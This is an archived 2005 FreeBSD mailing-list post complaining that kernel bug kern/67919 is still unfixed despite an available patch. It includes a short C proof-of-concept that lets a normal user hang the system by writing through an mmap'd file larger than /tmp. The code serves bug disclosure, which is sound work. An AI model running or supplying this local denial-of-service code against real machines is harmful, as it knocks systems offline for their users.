Re: kern/67919: Why nobody take serious to fix this bug?
From: Cai, Quanqing (caiquanqing_at_gmail.com)
Date: 10/31/05
- Previous message: Robert Watson: "Re: TSC instead of ACPI: powerd doesn't work anymore (to be expected?)"
- Next in thread: Maxim Konovalov: "Re: kern/67919: Why nobody take serious to fix this bug?"
- Reply: Maxim Konovalov: "Re: kern/67919: Why nobody take serious to fix this bug?"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Date: Sun, 30 Oct 2005 21:28:22 -0800 To: freebsd-current@freebsd.org, bug-followup@FreeBSD.org
Today I happened to read this message on freebsd-stable:
http://lists.freebsd.org/pipermail/freebsd-stable/2005-October/019086.html
After I read all messages and related links, I feel so frustrating, why
nobody take serious to fix this bug even we have a patch for it? I can
repeat this bug on 7.0-CURRENT and 6.0-RC1 easily as a normal user! System
goes no response so I have to power cycle it. The patch made by Uwe Doering
actually works well. This bug looks like a security hole to me:( If you guys
don't like this patch, please give out a reason and come out a better patch
or solution.
For impatience, you can run this to crush your system(7.x, 6.x, 5.x), you
have to increase FILELEN to a size greater than your /tmp partition:
===============================================
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>
#include <sys/types.h>
#include <sys/mman.h>
#define FILENAME "/tmp/test" /* where to put the test file */
#define FILELEN 710 /* test file length in MB */
main()
{
int fd;
size_t len;
char *buf, *p, *lim;
len = FILELEN * 1024 * 1024;
if ((fd = open(FILENAME, O_RDWR|O_CREAT|O_TRUNC, 0666)) == -1)
err(2, "open() failed");
if (ftruncate(fd, len) == -1)
err(2, "ftruncate() failed");
buf = mmap(NULL, len, PROT_WRITE, MAP_SHARED, fd, 0);
if (buf == MAP_FAILED)
err(2, "mmap() failed");
(void)close(fd);
for (p = buf, lim = p + len; p < lim; p += 4096)
*p = '0';
if (munmap(buf, len) == -1)
err(2, "munmap() failed");
exit(0);
}
===============================================================
Cai, Quanqing
_______________________________________________
freebsd-current@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-current
To unsubscribe, send any mail to "freebsd-current-unsubscribe@freebsd.org"
- Previous message: Robert Watson: "Re: TSC instead of ACPI: powerd doesn't work anymore (to be expected?)"
- Next in thread: Maxim Konovalov: "Re: kern/67919: Why nobody take serious to fix this bug?"
- Reply: Maxim Konovalov: "Re: kern/67919: Why nobody take serious to fix this bug?"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Relevant Pages
- Re: thoughts on kernel security issues
... having two independent patches that fix them is STILL better. ... Take it from
me - I've been reviewing patches for _way_ too long. ... have a clue ("try reverting that
one patch") or you can do things like ... Which is why lots of small patches usually have
_different_ bug behaviour ... (Linux-Kernel) - 2.6.22-rc4-mm2
... trees were repulled, several bad patches were dropped, a few were fixed. ...
If you hit a bug in -mm and it is not obvious which patch caused it, ... wireless
sparse fix ... (Linux-Kernel) - 2.6.17-rc4-mm3
... If you hit a bug in -mm and it is not obvious which patch caused it, ...
Driver tree updates ... Fix reject in git-nfs.patch. ... (Linux-Kernel) - Re: Changing time causes ipv6 panics
... use-after-free panic in ifaddr. ... The possible bug has been there since
rev. 1.19 ... The patch did not fix the panic. ... (freebsd-net) - Weekly Python Patch/Bug Summary
... Patch / Bug Summary ... http://python.org/sf/606098 closed by rhettinger
... http://python.org/sf/1088716 closed by loewis ... (comp.lang.python)